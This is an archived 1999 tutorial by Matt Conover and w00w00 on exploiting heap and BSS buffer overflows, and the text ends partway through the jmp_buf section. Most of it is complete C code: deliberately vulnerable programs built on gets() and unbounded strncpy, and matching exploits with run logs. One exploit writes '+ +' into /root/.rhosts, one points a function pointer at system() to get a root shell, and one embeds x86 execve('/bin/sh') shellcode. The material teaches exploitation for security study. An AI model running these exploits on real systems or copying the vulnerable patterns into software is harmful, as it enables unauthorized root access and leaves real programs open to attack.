home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / basicoverflows / heaptut.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  42.2 KB  |  1,102 lines

  1. Subject: w00w00 on Heap Overflows
  2.  
  3. This is a PRELIMINARY BETA VERSION of our final article! We apologize for
  4. any mistakes.  We still need to add a few more things.
  5.  
  6. [ Note: You may also get this article off of ]
  7. [ http://www.w00w00.org/articles.html.       ]
  8.  
  9. w00w00 on Heap Overflows
  10. By: Matt Conover (a.k.a. Shok) & w00w00 Security Team
  11.  
  12. ------------------------------------------------------------------------------
  13. Copyright (C) January 1999, Matt Conover & w00w00 Security Development
  14.  
  15. You may freely redistribute or republish this article, provided the
  16. following conditions are met:
  17.  
  18. 1. This article is left intact (no changes made, the full article
  19.    published, etc.)
  20.  
  21. 2. Proper credit is given to its authors; Matt Conover (Shok) and the 
  22.    w00w00 Security Development (WSD).
  23.  
  24. You are free to rewrite your own articles based on this material (assuming
  25. the above conditions are met). It'd also be appreciated if an e-mail is
  26. sent to either mattc@repsec.com or shok@dataforce.net to let us know you
  27. are going to be republishing this article or writing an article based upon
  28. one of our ideas.
  29.  
  30. ------------------------------------------------------------------------------
  31.  
  32. Prelude:
  33.   Heap/BSS-based overflows are fairly common in applications today; yet,
  34.   they are rarely reported.  Therefore, we felt it was appropriate to
  35.   present a "heap overflow" tutorial.  The biggest critics of this article
  36.   will probably be those who argue heap overflows have been around for a
  37.   while.  Of course they have, but that doesn't negate the need for such
  38.   material.
  39.  
  40.   In this article, we will refer to "overflows involving the stack" as
  41.   "stack-based overflows" ("stack overflow" is misleading) and "overflows
  42.   involving the heap" as "heap-based overflows".
  43.  
  44.   This article should provide the following: a better understanding
  45.   of heap-based overflows along with several methods of exploitation,
  46.   demonstrations, and some possible solutions/fixes.  Prerequisites to
  47.   this article: a general understanding of computer architecture, 
  48.   assembly, C, and stack overflows.
  49.             
  50.   This is a collection of the insights we have gained through our research
  51.   with heap-based overflows and the like.  We have written all the
  52.   examples and exploits included in this article; therefore, the copyright
  53.   applies to them as well.
  54.   
  55.  
  56. Why Heap/BSS Overflows are Significant
  57. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  58.  As more system vendors add non-executable stack patches, or individuals 
  59.  apply their own patches (e.g., Solar Designer's non-executable stack
  60.  patch), a different method of penetration is needed by security
  61.  consultants (or else, we won't have jobs!).  Let me give you a few
  62.  examples:
  63.  
  64.    1. Searching for the word "heap" on BugTraq (for the archive, see
  65.       www.geek-girl.com/bugtraq), yields only 40+ matches, whereas
  66.       "stack" yields 2300+ matches (though several are irrelevant).  Also,
  67.       "stack overflow" gives twice as many matches as "heap" does.
  68.  
  69.    2. Solaris (an OS developed by Sun Microsystems), as of Solaris
  70.       2.6, sparc Solaris includes a "protect_stack" option, but not an
  71.       equivalent "protect_heap" option.  Fortunately, the bss is not
  72.       executable (and need not be).
  73.  
  74.    3. There is a "StackGuard" (developed by Crispin Cowan et. al.), but
  75.       no equivalent "HeapGuard".
  76.  
  77.    4. Using a heap/bss-based overflow was one of the "potential" methods
  78.       of getting around StackGuard.  The following was posted to BugTraq
  79.       by Tim Newsham several months ago:
  80.  
  81.         > Finally the precomputed canary values may be a target
  82.         > themselves.  If there is an overflow in the data or bss segments
  83.         > preceding the precomputed canary vector, an attacker can simply
  84.         > overwrite all the canary values with a single value of his
  85.         > choosing, effectively turning off stack protection.
  86.  
  87.    5. Some people have actually suggested making a "local" buffer a
  88.       "static" buffer, as a fix!  This not very wise; yet, it is a fairly
  89.       common misconception of how the heap or bss work.
  90.  
  91.  Although heap-based overflows are not new, they don't seem to be well
  92.  understood.
  93.  
  94.  Note:
  95.    One argument is that the presentation of a "heap-based overflow" is
  96.    equivalent to a "stack-based overflow" presentation.  However, only a
  97.    small proportion of this article has the same presentation (if you
  98.    will) that is equivalent to that of a "stack-based overflow".
  99.  
  100.  People go out of their way to prevent stack-based overflows, but leave
  101.  their heaps/bss' completely open!  On most systems, both heap and bss are
  102.  both executable and writeable (an excellent combination).  This makes
  103.  heap/bss overflows very possible.  But, I don't see any reason for the
  104.  bss to be executable!  What is going to be executed in zero-filled
  105.  memory?!
  106.  
  107.  For the security consultant (the ones doing the penetration assessment),
  108.  most heap-based overflows are system and architecture independent,
  109.  including those with non-executable heaps.  This will all be demonstrated
  110.  in the "Exploiting Heap/BSS Overflows" section.
  111.  
  112. Terminology
  113. ~~~~~~~~~~~
  114.  An executable file, such as ELF (Executable and Linking Format)
  115.  executable, has several "sections" in the executable file, such as: the
  116.  PLT (Procedure Linking Table), GOT (Global Offset Table), init 
  117.  (instructions executed on initialization), fini (instructions to be 
  118.  executed upon termination), and ctors and dtors (contains global 
  119.  constructors/destructors).
  120.  
  121.  
  122. "Memory that is dynamically allocated by the application is known as the
  123. heap." The words "by the application" are important here, as on good
  124. systems most areas are in fact dynamically allocated at the kernel level,
  125. while for the heap, the allocation is requested by the application.
  126.  
  127. Heap and Data/BSS Sections
  128. ~~~~~~~~~~~~~~~~~~~~~~~~~~
  129.  The heap is an area in memory that is dynamically allocated by the
  130.  application.  The data section initialized at compile-time.
  131.  
  132.  The bss section contains uninitialized data, and is allocated at
  133.  run-time.  Until it is written to, it remains zeroed (or at least from
  134.  the application's point-of-view).
  135.  
  136.  Note:
  137.    When we refer to a "heap-based overflow" in the sections below, we are
  138.    most likely referring to buffer overflows of both the heap and data/bss
  139.    sections.
  140.                                     
  141.  On most systems, the heap grows up (towards higher addresses).  Hence,
  142.  when we say "X is below Y," it means X is lower in memory than Y.
  143.  
  144.  
  145. Exploiting Heap/BSS Overflows
  146. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  147.  In this section, we'll cover several different methods to put heap/bss
  148.  overflows to use.  Most of examples for Unix-dervied x86 systems, will
  149.  also work in DOS and Windows (with a few changes).  We've also included 
  150.  a few DOS/Windows specific exploitation methods.  An advanced warning:
  151.  this will be the longest section, and should be studied the most.
  152.  
  153.  Note:
  154.    In this article, I use the "exact offset" approach.  The offset
  155.    must be closely approximated to its actual value.  The alternative is
  156.    "stack-based overflow approach" (if you will), where one repeats the 
  157.    addresses to increase the likelihood of a successful exploit.
  158.  
  159.  While this example may seem unnecessary, we're including it for those who
  160.  are unfamiliar with heap-based overflows.  Therefore, we'll include this
  161.  quick demonstration:
  162.  -----------------------------------------------------------------------------
  163.    /* demonstrates dynamic overflow in heap (initialized data) */
  164.  
  165.    #include <stdio.h>
  166.    #include <stdlib.h>
  167.    #include <unistd.h>
  168.    #include <string.h>
  169.  
  170.    #define BUFSIZE 16
  171.    #define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */
  172.  
  173.    int main()
  174.    {
  175.       u_long diff;
  176.       char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);
  177.  
  178.       diff = (u_long)buf2 - (u_long)buf1;
  179.       printf("buf1 = %p, buf2 = %p, diff = 0x%x bytes\n", buf1, buf2, diff);
  180.  
  181.       memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '\0';
  182.  
  183.       printf("before overflow: buf2 = %s\n", buf2);
  184.       memset(buf1, 'B', (u_int)(diff + OVERSIZE));
  185.       printf("after overflow: buf2 = %s\n", buf2);
  186.  
  187.       return 0;
  188.    }
  189.  -----------------------------------------------------------------------------
  190.  
  191.  If we run this, we'll get the following:
  192.    [root /w00w00/heap/examples/basic]# ./heap1 8
  193.    buf1 = 0x804e000, buf2 = 0x804eff0, diff = 0xff0 bytes
  194.    before overflow: buf2 = AAAAAAAAAAAAAAA
  195.    after overflow: buf2 = BBBBBBBBAAAAAAA
  196.  
  197.  This works because buf1 overruns its boundaries into buf2's heap space.
  198.  But, because buf2's heap space is still valid (heap) memory, the program
  199.  doesn't crash. 
  200.  
  201.  Note:
  202.    A possible fix for a heap-based overflow, which will be mentioned
  203.    later, is to put "canary" values between all variables on the heap
  204.    space (like that of StackGuard mentioned later) that mustn't be changed
  205.    throughout execution.
  206.  
  207.  You can get the complete source to all examples used in this article,
  208.  from the file attachment, heaptut.tgz.  You can also download this from
  209.  our article archive at http://www.w00w00.org/articles.html.
  210.  
  211.  Note:
  212.    To demonstrate a bss-based overflow, change line:
  213.    from: 'char *buf = malloc(BUFSIZE)', to: 'static char buf[BUFSIZE]'
  214.  
  215.  Yes, that was a very basic example, but we wanted to demonstrate a heap
  216.  overflow at its most primitive level.  This is the basis of almost
  217.  all heap-based overflows.  We can use it to overwrite a filename, a
  218.  password, a saved uid, etc.  Here is a (still primitive) example of 
  219.  manipulating pointers:
  220.  -----------------------------------------------------------------------------
  221.    /* demonstrates static pointer overflow in bss (uninitialized data) */
  222.  
  223.    #include <stdio.h>
  224.    #include <stdlib.h>
  225.    #include <unistd.h>
  226.    #include <string.h>
  227.    #include <errno.h>
  228.  
  229.    #define BUFSIZE 16
  230.    #define ADDRLEN 4 /* # of bytes in an address */
  231.  
  232.    int main()
  233.    {
  234.       u_long diff;
  235.       static char buf[BUFSIZE], *bufptr;
  236.  
  237.       bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;
  238.  
  239.       printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
  240.              &bufptr, bufptr, buf, diff, diff);
  241.  
  242.       memset(buf, 'A', (u_int)(diff + ADDRLEN));
  243.  
  244.       printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n", 
  245.              &bufptr, bufptr, buf, diff, diff);
  246.  
  247.       return 0;
  248.    }
  249.  -----------------------------------------------------------------------------
  250.  
  251.  The results:
  252.    [root /w00w00/heap/examples/basic]# ./heap3
  253.    bufptr (0x804a860) = 0x804a850, buf = 0x804a850, diff = 0x10 (16) bytes
  254.    bufptr (0x804a860) = 0x41414141, buf = 0x804a850, diff = 0x10 (16) bytes
  255.  
  256.  When run, one clearly sees that the pointer now points to a different
  257.  address.  Uses of this?  One example is that we could overwrite a 
  258.  temporary filename pointer to point to a separate string (such as
  259.  argv[1], which we could supply ourselves), which could contain
  260.  "/root/.rhosts".  Hopefully, you are starting to see some potential uses.
  261.  
  262.  To demonstrate this, we will use a temporary file to momentarily save
  263.  some input from the user. This is our finished "vulnerable program":
  264.  -----------------------------------------------------------------------------
  265.    /*
  266.     * This is a typical vulnerable program.  It will store user input in a
  267.     * temporary file.
  268.     *
  269.     * Compile as: gcc -o vulprog1 vulprog1.c
  270.     */
  271.  
  272.    #include <stdio.h>
  273.    #include <stdlib.h>
  274.    #include <unistd.h>
  275.    #include <string.h>
  276.    #include <errno.h>
  277.  
  278.    #define ERROR -1
  279.    #define BUFSIZE 16
  280.  
  281.    /*
  282.     * Run this vulprog as root or change the "vulfile" to something else.
  283.     * Otherwise, even if the exploit works, it won't have permission to
  284.     * overwrite /root/.rhosts (the default "example").
  285.     */
  286.  
  287.    int main(int argc, char **argv)
  288.    {
  289.       FILE *tmpfd;
  290.       static char buf[BUFSIZE], *tmpfile;
  291.  
  292.       if (argc <= 1)
  293.       {
  294.          fprintf(stderr, "Usage: %s <garbage>\n", argv[0]);
  295.          exit(ERROR);
  296.       }
  297.  
  298.       tmpfile = "/tmp/vulprog.tmp"; /* no, this is not a temp file vul */
  299.       printf("before: tmpfile = %s\n", tmpfile);
  300.  
  301.       printf("Enter one line of data to put in %s: ", tmpfile);
  302.       gets(buf);
  303.  
  304.       printf("\nafter: tmpfile = %s\n", tmpfile);
  305.  
  306.       tmpfd = fopen(tmpfile, "w");
  307.       if (tmpfd == NULL)
  308.       {
  309.          fprintf(stderr, "error opening %s: %s\n", tmpfile, 
  310.                  strerror(errno));
  311.  
  312.          exit(ERROR);
  313.       }
  314.  
  315.       fputs(buf, tmpfd);
  316.       fclose(tmpfd);
  317.    }
  318.  
  319.  -----------------------------------------------------------------------------
  320.  
  321.  The aim of this "example" program is to demonstrate that something of 
  322.  this nature can easily occur in programs (although hopefully not setuid
  323.  or root-owned daemon servers).
  324.  
  325.  And here is our exploit for the vulnerable program:
  326.  -----------------------------------------------------------------------------
  327.    /*
  328.     * Copyright (C) January 1999, Matt Conover & WSD
  329.     *
  330.     * This will exploit vulprog1.c.  It passes some arguments to the
  331.     * program (that the vulnerable program doesn't use).  The vulnerable
  332.     * program expects us to enter one line of input to be stored
  333.     * temporarily.  However, because of a static buffer overflow, we can
  334.     * overwrite the temporary filename pointer, to have it point to
  335.     * argv[1] (which we could pass as "/root/.rhosts").  Then it will
  336.     * write our temporary line to this file.  So our overflow string (what
  337.     * we pass as our input line) will be: 
  338.     *   + + # (tmpfile addr) - (buf addr) # of A's | argv[1] address
  339.     *
  340.     * We use "+ +" (all hosts), followed by '#' (comment indicator), to
  341.     * prevent our "attack code" from causing problems.  Without the 
  342.     * "#", programs using .rhosts would misinterpret our attack code.
  343.     *
  344.     * Compile as: gcc -o exploit1 exploit1.c
  345.     */
  346.  
  347.    #include <stdio.h>
  348.    #include <stdlib.h>
  349.    #include <unistd.h>
  350.    #include <string.h>
  351.  
  352.    #define BUFSIZE 256
  353.  
  354.    #define DIFF 16 /* estimated diff between buf/tmpfile in vulprog */
  355.  
  356.    #define VULPROG "./vulprog1"
  357.    #define VULFILE "/root/.rhosts" /* the file 'buf' will be stored in */
  358.  
  359.    /* get value of sp off the stack (used to calculate argv[1] address) */
  360.    u_long getesp()
  361.    {
  362.       __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */
  363.    }
  364.  
  365.    int main(int argc, char **argv)
  366.    {
  367.       u_long addr;
  368.  
  369.       register int i;
  370.       int mainbufsize;
  371.  
  372.       char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";
  373.  
  374.       /* ------------------------------------------------------ */
  375.       if (argc <= 1)
  376.       {
  377.          fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]);
  378.          exit(ERROR);
  379.       }
  380.       /* ------------------------------------------------------ */
  381.  
  382.       memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# ");
  383.  
  384.       memset(buf + strlen(buf), 'A', DIFF);
  385.       addr = getesp() + atoi(argv[1]);
  386.  
  387.       /* reverse byte order (on a little endian system) */
  388.       for (i = 0; i < sizeof(u_long); i++)
  389.          buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);
  390.  
  391.       mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13;
  392.  
  393.       mainbuf = (char *)malloc(mainbufsize);
  394.       memset(mainbuf, 0, sizeof(mainbuf));
  395.  
  396.       snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
  397.                buf, VULPROG, VULFILE);
  398.  
  399.       printf("Overflowing tmpaddr to point to %p, check %s after.\n\n",
  400.              addr, VULFILE);
  401.  
  402.       system(mainbuf);
  403.       return 0;      
  404.    }
  405.  
  406.  -----------------------------------------------------------------------------
  407.  
  408.  Here's what happens when we run it:
  409.    [root /w00w00/heap/examples/vulpkgs/vulpkg1]# ./exploit1 320
  410.    Overflowing tmpaddr to point to 0xbffffd60, check /root/.rhosts after.
  411.  
  412.    before: tmpfile = /tmp/vulprog.tmp
  413.    Enter one line of data to put in /tmp/vulprog.tmp:
  414.    after: tmpfile = /vulprog1
  415.  
  416.  Well, we can see that's part of argv[0] ("./vulprog1"), so we know we are
  417.  close:
  418.    [root /w00w00/heap/examples/vulpkgs/vulpkg1]# ./exploit1 330
  419.    Overflowing tmpaddr to point to 0xbffffd6a, check /root/.rhosts after.
  420.  
  421.    before: tmpfile = /tmp/vulprog.tmp
  422.    Enter one line of data to put in /tmp/vulprog.tmp:
  423.    after: tmpfile = /root/.rhosts
  424.    [root /tmp/heap/examples/advanced/vul-pkg1]#
  425.  
  426.  Got it!  The exploit overwrites the buffer that the vulnerable program
  427.  uses for gets() input.  At the end of its buffer, it places the address
  428.  of where we assume argv[1] of the vulnerable program is.  That is, we
  429.  overwrite everything between the overflowed buffer and the tmpfile
  430.  pointer.  We ascertained the tmpfile pointer's location in memory by
  431.  sending arbitrary lengths of "A"'s until we discovered how many "A"'s it
  432.  took to reach the start of tmpfile's address.  Also, if you have
  433.  source to the vulnerable program, you can also add a "printf()" to print
  434.  out the addresses/offsets between the overflowed data and the target data
  435.  (i.e., 'printf("%p - %p = 0x%lx bytes\n", buf2, buf1, (u_long)diff)').
  436.  
  437.  (Un)fortunately, the offsets usually change at compile-time (as far as
  438.  I know), but we can easily recalculate, guess, or "brute force" the
  439.  offsets.
  440.  
  441.  Note:
  442.    Now that we need a valid address (argv[1]'s address), we must reverse
  443.    the byte order for little endian systems.  Little endian systems use
  444.    the least significant byte first (x86 is little endian) so that
  445.    0x12345678 is 0x78563412 in memory.  If we were doing this on a big
  446.    endian system (such as a sparc) we could drop out the code to reverse
  447.    the byte order.  On a big endian system (like sparc), we could leave
  448.    the addresses alone.
  449.  
  450.  Further note: 
  451.    So far none of these examples required an executable heap! As I
  452.    briefly mentioned in the "Why Heap/BSS Overflows are Significant"
  453.    section, these (with the exception of the address byte order) previous
  454.    examples were all system/architecture independent. This is useful in
  455.    exploiting heap-based overflows.
  456.  
  457.  With knowledge of how to overwrite pointers, we're going to show how to
  458.  modify function pointers.  The downside to exploiting function pointers
  459.  (and the others to follow) is that they require an executable heap.
  460.  
  461.  A function pointer (i.e., "int (*funcptr)(char *str)") allows a
  462.  programmer to dynamically modify a function to be called.  We can
  463.  overwrite a function pointer by overwriting its address, so that when
  464.  it's executed, it calls the function we point it to instead. This is
  465.  good news because there are several options we have.  First, we
  466.  can include our own shellcode. We can do one of the following with
  467.  shellcode: 
  468.  
  469.    1. argv[] method: store the shellcode in an argument to the program
  470.       (requiring an executable stack)
  471.  
  472.    2. heap offset method: offset from the top of the heap to the
  473.       estimated address of the target/overflow buffer (requiring an
  474.       executable heap)
  475.  
  476.  Note: There is a greater probability of the heap being executable than
  477.  the stack on any given system.  Therefore, the heap method will probably
  478.  work more often.
  479.  
  480.  A second method is to simply guess (though it's inefficient) the address
  481.  of a function, using an estimated offset of that in the vulnerable
  482.  program.  Also, if we know the address of system() in our program, it
  483.  will be at a very close offset, assuming both vulprog/exploit were
  484.  compiled the same way.  The advantage is that no executable is required.
  485.  
  486.  Note:
  487.    Another method is to use the PLT (Procedure Linking Table) which shares
  488.    the address of a function in the PLT.  I first learned the PLT method
  489.    from str (stranJer) in a non-executable stack exploit for sparc.
  490.  
  491.  The reason the second method is the preferred method, is simplicity.
  492.  We can guess the offset of system() in the vulprog from the address of
  493.  system() in our exploit fairly quickly.  This is synonymous on remote
  494.  systems (assuming similar versions, operating systems, and 
  495.  architectures).  With the stack method, the advantage is that we can do
  496.  whatever we want, and we don't require compatible function pointers
  497.  (i.e., char (*funcptr)(int a) and void (*funcptr)() would work the same).
  498.  The disadvantage (as mentioned earlier) is that it requires an
  499.  executable stack.
  500.  
  501.  Here is our vulnerable program for the following 2 exploits:
  502.  -----------------------------------------------------------------------------
  503.    /* 
  504.     * Just the vulnerable program we will exploit.
  505.     * Compile as: gcc -o vulprog vulprog.c (or change exploit macros)
  506.     */
  507.  
  508.    #include <stdio.h>
  509.    #include <stdlib.h>
  510.    #include <unistd.h>
  511.    #include <string.h>
  512.  
  513.    #define ERROR -1
  514.    #define BUFSIZE 64
  515.  
  516.    int goodfunc(const char *str); /* funcptr starts out as this */
  517.  
  518.    int main(int argc, char **argv)
  519.    {
  520.       static char buf[BUFSIZE];
  521.       static int (*funcptr)(const char *str);
  522.  
  523.       if (argc <= 2)
  524.       {
  525.          fprintf(stderr, "Usage: %s <buf> <goodfunc arg>\n", argv[0]);
  526.          exit(ERROR);
  527.       }
  528.  
  529.       printf("(for 1st exploit) system() = %p\n", system);
  530.       printf("(for 2nd exploit, stack method) argv[2] = %p\n", argv[2]);
  531.       printf("(for 2nd exploit, heap offset method) buf = %p\n\n", buf);
  532.  
  533.       funcptr = (int (*)(const char *str))goodfunc;
  534.       printf("before overflow: funcptr points to %p\n", funcptr);
  535.  
  536.       memset(buf, 0, sizeof(buf));
  537.       strncpy(buf, argv[1], strlen(argv[1]));
  538.       printf("after overflow: funcptr points to %p\n", funcptr);
  539.  
  540.       (void)(*funcptr)(argv[2]);
  541.       return 0;
  542.    }
  543.  
  544.    /* ---------------------------------------------- */
  545.  
  546.    /* This is what funcptr would point to if we didn't overflow it */
  547.    int goodfunc(const char *str)
  548.    {
  549.       printf("\nHi, I'm a good function.  I was passed: %s\n", str);
  550.       return 0;
  551.    }
  552.  -----------------------------------------------------------------------------
  553.  
  554.  Our first example, is the system() method:
  555.  -----------------------------------------------------------------------------
  556.    /*
  557.     * Copyright (C) January 1999, Matt Conover & WSD
  558.     *
  559.     * Demonstrates overflowing/manipulating static function pointers in
  560.     * the bss (uninitialized data) to execute functions.
  561.     *
  562.     * Try in the offset (argv[2]) in the range of 0-20 (10-16 is best)
  563.     * To compile use: gcc -o exploit1 exploit1.c
  564.     */
  565.  
  566.    #include <stdio.h>
  567.    #include <stdlib.h>
  568.    #include <unistd.h>
  569.    #include <string.h>
  570.  
  571.    #define BUFSIZE 64 /* the estimated diff between funcptr/buf */
  572.  
  573.    #define VULPROG "./vulprog" /* vulnerable program location */
  574.    #define CMD "/bin/sh" /* command to execute if successful */
  575.  
  576.    #define ERROR -1
  577.  
  578.    int main(int argc, char **argv)
  579.    {
  580.       register int i;
  581.       u_long sysaddr;
  582.       static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};
  583.  
  584.       if (argc <= 1)
  585.       {
  586.          fprintf(stderr, "Usage: %s <offset>\n", argv[0]);
  587.          fprintf(stderr, "[offset = estimated system() offset]\n\n");
  588.  
  589.          exit(ERROR);
  590.       }
  591.  
  592.       sysaddr = (u_long)&system - atoi(argv[1]);
  593.       printf("trying system() at 0x%lx\n", sysaddr);
  594.  
  595.       memset(buf, 'A', BUFSIZE);
  596.  
  597.       /* reverse byte order (on a little endian system) (ntohl equiv) */
  598.       for (i = 0; i < sizeof(sysaddr); i++)
  599.          buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;
  600.  
  601.       execl(VULPROG, VULPROG, buf, CMD, NULL);
  602.       return 0;
  603.    }
  604.  -----------------------------------------------------------------------------
  605.  
  606.  When we run this with an offset of 16 (which may vary) we get:
  607.    [root /w00w00/heap/examples]# ./exploit1 16
  608.    trying system() at 0x80484d0
  609.    (for 1st exploit) system() = 0x80484d0
  610.    (for 2nd exploit, stack method) argv[2] = 0xbffffd3c
  611.    (for 2nd exploit, heap offset method) buf = 0x804a9a8
  612.  
  613.    before overflow: funcptr points to 0x8048770
  614.    after overflow: funcptr points to 0x80484d0
  615.    bash#
  616.  
  617.  And our second example, using both argv[] and heap offset method:
  618.  -----------------------------------------------------------------------------
  619.    /*
  620.     * Copyright (C) January 1999, Matt Conover & WSD
  621.     *
  622.     * This demonstrates how to exploit a static buffer to point the
  623.     * function pointer at argv[] to execute shellcode.  This requires
  624.     * an executable heap to succeed.
  625.     *
  626.     * The exploit takes two argumenst (the offset and "heap"/"stack").  
  627.     * For argv[] method, it's an estimated offset to argv[2] from 
  628.     * the stack top.  For the heap offset method, it's an estimated offset
  629.     * to the target/overflow buffer from the heap top.
  630.     *
  631.     * Try values somewhere between 325-345 for argv[] method, and 420-450
  632.     * for heap.
  633.     *
  634.     * To compile use: gcc -o exploit2 exploit2.c
  635.     */
  636.  
  637.    #include <stdio.h>
  638.    #include <stdlib.h>
  639.    #include <unistd.h>
  640.    #include <string.h>
  641.  
  642.    #define ERROR -1
  643.    #define BUFSIZE 64 /* estimated diff between buf/funcptr */
  644.  
  645.    #define VULPROG "./vulprog" /* where the vulprog is */
  646.  
  647.    char shellcode[] = /* just aleph1's old shellcode (linux x86) */
  648.      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
  649.      "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
  650.      "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  651.  
  652.    u_long getesp()
  653.    {
  654.       __asm__("movl %esp,%eax"); /* set sp as return value */
  655.    }
  656.  
  657.    int main(int argc, char **argv)
  658.    {
  659.       register int i;
  660.       u_long sysaddr;
  661.       char buf[BUFSIZE + sizeof(u_long) + 1];
  662.  
  663.       if (argc <= 2)
  664.       {
  665.          fprintf(stderr, "Usage: %s <offset> <heap | stack>\n", argv[0]);
  666.          exit(ERROR);
  667.       }
  668.  
  669.       if (strncmp(argv[2], "stack", 5) == 0)
  670.       {
  671.          printf("Using stack for shellcode (requires exec. stack)\n");
  672.  
  673.          sysaddr = getesp() + atoi(argv[1]);
  674.          printf("Using 0x%lx as our argv[1] address\n\n", sysaddr);
  675.  
  676.          memset(buf, 'A', BUFSIZE + sizeof(u_long));
  677.       }
  678.  
  679.       else
  680.       {
  681.          printf("Using heap buffer for shellcode "
  682.                 "(requires exec. heap)\n");
  683.  
  684.          sysaddr = (u_long)sbrk(0) - atoi(argv[1]);
  685.          printf("Using 0x%lx as our buffer's address\n\n", sysaddr);
  686.  
  687.          if (BUFSIZE + 4 + 1 < strlen(shellcode))
  688.          {
  689.             fprintf(stderr, "error: buffer is too small for shellcode "
  690.                             "(min. = %d bytes)\n", strlen(shellcode));
  691.  
  692.             exit(ERROR);
  693.          }
  694.  
  695.          strcpy(buf, shellcode);
  696.          memset(buf + strlen(shellcode), 'A',
  697.                 BUFSIZE - strlen(shellcode) + sizeof(u_long));
  698.       }
  699.  
  700.       buf[BUFSIZE + sizeof(u_long)] = '\0';
  701.  
  702.       /* reverse byte order (on a little endian system) (ntohl equiv) */
  703.       for (i = 0; i < sizeof(sysaddr); i++)
  704.          buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;
  705.  
  706.       execl(VULPROG, VULPROG, buf, shellcode, NULL);
  707.       return 0;
  708.    }
  709.  -----------------------------------------------------------------------------
  710.  
  711.  When we run this with an offset of 334 for the argv[] method we get:
  712.    [root /w00w00/heap/examples] ./exploit2 334 stack
  713.    Using stack for shellcode (requires exec. stack)
  714.    Using 0xbffffd16 as our argv[1] address
  715.  
  716.    (for 1st exploit) system() = 0x80484d0
  717.    (for 2nd exploit, stack method) argv[2] = 0xbffffd16
  718.    (for 2nd exploit, heap offset method) buf = 0x804a9a8
  719.  
  720.    before overflow: funcptr points to 0x8048770
  721.    after overflow: funcptr points to 0xbffffd16
  722.    bash#
  723.  
  724.  When we run this with an offset of 428-442 for the heap offset method we get:
  725.    [root /w00w00/heap/examples] ./exploit2 428 heap
  726.    Using heap buffer for shellcode (requires exec. heap)
  727.    Using 0x804a9a8 as our buffer's address
  728.  
  729.    (for 1st exploit) system() = 0x80484d0
  730.    (for 2nd exploit, stack method) argv[2] = 0xbffffd16
  731.    (for 2nd exploit, heap offset method) buf = 0x804a9a8
  732.  
  733.    before overflow: funcptr points to 0x8048770
  734.    after overflow: funcptr points to 0x804a9a8
  735.    bash#
  736.  
  737.  Note: 
  738.    Another advantage to the heap method is that you have a large
  739.    working range. With argv[] (stack) method, it needed to be exact.  With
  740.    the heap offset method, any offset between 428-442 worked.
  741.  
  742.  As you can see, there are several different methods to exploit the same
  743.  problem.  As an added bonus, we'll include a final type of exploitation
  744.  that uses jmp_bufs (setjmp/longjmp).  jmp_buf's basically store a stack
  745.  frame, and jump to it at a later point in execution.  If we get a chance
  746.  to overflow a buffer between setjmp() and longjmp(), that's above the
  747.  overflowed buffer, this can be exploited.  We can set these up to emulate
  748.  the behavior of a stack-based overflow (as does the argv[] shellcode
  749.  method used earlier, also).  Now this is the jmp_buf for an x86 system.
  750.  These will needed to be modified for other architectures, accordingly.
  751.  
  752.  First we will include a vulnerable program again:
  753.  -----------------------------------------------------------------------------
  754.    /*
  755.     * This is just a basic vulnerable program to demonstrate
  756.     * how to overwrite/modify jmp_buf's to modify the course of
  757.     * execution.
  758.     */
  759.  
  760.    #include <stdio.h>
  761.    #include <stdlib.h>
  762.    #include <unistd.h>
  763.    #include <string.h>
  764.    #include <setjmp.h>
  765.  
  766.    #define ERROR -1
  767.    #define BUFSIZE 16
  768.  
  769.    static char buf[BUFSIZE];
  770.    jmp_buf jmpbuf;
  771.  
  772.    u_long getesp()
  773.    {
  774.    __asm__("movl %esp,%eax"); /* the return value goes in %eax */
  775.    }
  776.  
  777.    int main(int argc, char **argv)
  778.    {
  779.       if (argc <= 1)
  780.       {
  781.          fprintf(stderr, "Usage: %s <string1> <string2>\n");
  782.          exit(ERROR);
  783.       }
  784.  
  785.       printf("[vulprog] argv[2] = %p\n", argv[2]);
  786.       printf("[vulprog] sp = 0x%lx\n\n", getesp());
  787.  
  788.       if (setjmp(jmpbuf)) /* if > 0, we got here from longjmp() */
  789.       {
  790.          fprintf(stderr, "error: exploit didn't work\n");
  791.          exit(ERROR);
  792.       }
  793.  
  794.       printf("before:\n");
  795.       printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n",
  796.              jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);
  797.  
  798.       printf("bp = %p, sp = %p, pc = %p\n\n",
  799.              jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc);
  800.  
  801.       strncpy(buf, argv[1], strlen(argv[1])); /* actual copy here */
  802.  
  803.       printf("after:\n");
  804.       printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n",
  805.              jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);
  806.  
  807.       printf("bp = %p, sp = %p, pc = %p\n\n",
  808.              jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc);
  809.  
  810.       longjmp(jmpbuf, 1);
  811.       return 0;
  812.    }
  813.  -----------------------------------------------------------------------------
  814.  
